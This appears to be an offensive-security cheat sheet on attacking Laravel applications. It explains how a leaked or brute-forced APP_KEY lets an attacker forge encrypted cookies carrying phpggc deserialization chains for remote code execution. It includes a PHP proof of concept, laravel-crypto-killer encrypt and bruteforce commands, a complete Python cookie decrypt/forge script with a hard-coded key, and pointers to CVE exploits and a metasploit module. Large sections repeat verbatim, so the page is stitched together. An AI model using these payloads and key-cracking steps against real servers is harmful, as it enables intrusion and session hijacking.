Laravel

Laravel SQLInjection

Read information about this here: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (Illuminate\\Encryption\\Encrypter). The raw ciphertext that is finally sent to the client is Base64 of a JSON object like:

{
  "iv"   : "Base64(random 16-byte IV)",
  "value": "Base64(ciphertext)",
  "mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
  "tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Inject the produced string into any vulnerable decrypt() sink (route param, cookie, session, …).

laravel-crypto-killer 🧨

laravel-crypto-killer automates the whole process and adds a convenient bruteforce mode:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.

Real-world vulnerable patterns

The exploitation workflow is always:

1. Obtain APP_KEY (default examples, Git leak, config/.env leak, or brute-force)
2. Generate gadget with PHPGGC
3. laravel_crypto_killer.py encrypt …
4. Deliver payload through the vulnerable parameter/cookie → RCE

Mass APP_KEY discovery via cookie brute-force

Because every fresh Laravel response sets at least 1 encrypted cookie (XSRF-TOKEN and usually laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts that can be attacked offline.

Key findings of the research published by Synacktiv (2024-2025):

• Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
• Dataset May 2025 » 625 k tokens, 3.56 % keys cracked

• 1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.

• Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).

The private Go tool nounours pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.

References

• Laravel: APP_KEY leakage analysis
• laravel-crypto-killer
• PHPGGC – PHP Generic Gadget Chains
• CVE-2018-15133 write-up (WithSecure)

Laravel Tricks

Debugging mode

If Laravel is in debugging mode you will be able to access the code and sensitive data.
For example http://127.0.0.1:8000/profiles:

This is usually needed for exploiting other Laravel RCE CVEs.

.env

Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called .env that can be accessed using some path traversal under: /../.env

Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated).

Using the secret APP_KEY of Laravel you can decrypt and re-encrypt cookies:

Decrypt Cookie

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.encrypt(value)


def decrypt(bstring):
    global key
    dic = json.loads(base64.b64decode(bstring).decode())
    mac = dic['mac']
    value = bytes(dic['value'], 'utf-8')
    iv = bytes(dic['iv'], 'utf-8')
    if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
        return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
        #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
    return ''


def encrypt(string):
    global key
    iv = os.urandom(16)
    #string = dumps(string)
    padding = 16 - len(string) % 16
    string += bytes(chr(padding) * padding, 'utf-8')
    value = base64.b64encode(mcrypt_encrypt(string, iv))
    iv = base64.b64encode(iv)
    mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
    dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
    return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel Deserialization RCE

Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Here you can find information about the deserialization vulnerability here: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

You can test and exploit it using https://github.com/kozmic/laravel-poc-CVE-2018-15133
Or you can also exploit it with metasploit: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Another deserialization: https://github.com/ambionics/laravel-exploits

Laravel SQLInjection

Read information about this here: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

Laravel SQLInjection

Read information about this here: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (Illuminate\\Encryption\\Encrypter). The raw ciphertext that is finally sent to the client is Base64 of a JSON object like:

{
  "iv"   : "Base64(random 16-byte IV)",
  "value": "Base64(ciphertext)",
  "mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
  "tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Inject the produced string into any vulnerable decrypt() sink (route param, cookie, session, …).

laravel-crypto-killer 🧨

laravel-crypto-killer automates the whole process and adds a convenient bruteforce mode:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.

Real-world vulnerable patterns

The exploitation workflow is always:

1. Obtain APP_KEY (default examples, Git leak, config/.env leak, or brute-force)
2. Generate gadget with PHPGGC
3. laravel_crypto_killer.py encrypt …
4. Deliver payload through the vulnerable parameter/cookie → RCE

Mass APP_KEY discovery via cookie brute-force

Because every fresh Laravel response sets at least 1 encrypted cookie (XSRF-TOKEN and usually laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts that can be attacked offline.

Key findings of the research published by Synacktiv (2024-2025):

• Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
• Dataset May 2025 » 625 k tokens, 3.56 % keys cracked

• 1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.

• Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).

The private Go tool nounours pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.

References

• Laravel: APP_KEY leakage analysis
• laravel-crypto-killer
• PHPGGC – PHP Generic Gadget Chains
• CVE-2018-15133 write-up (WithSecure)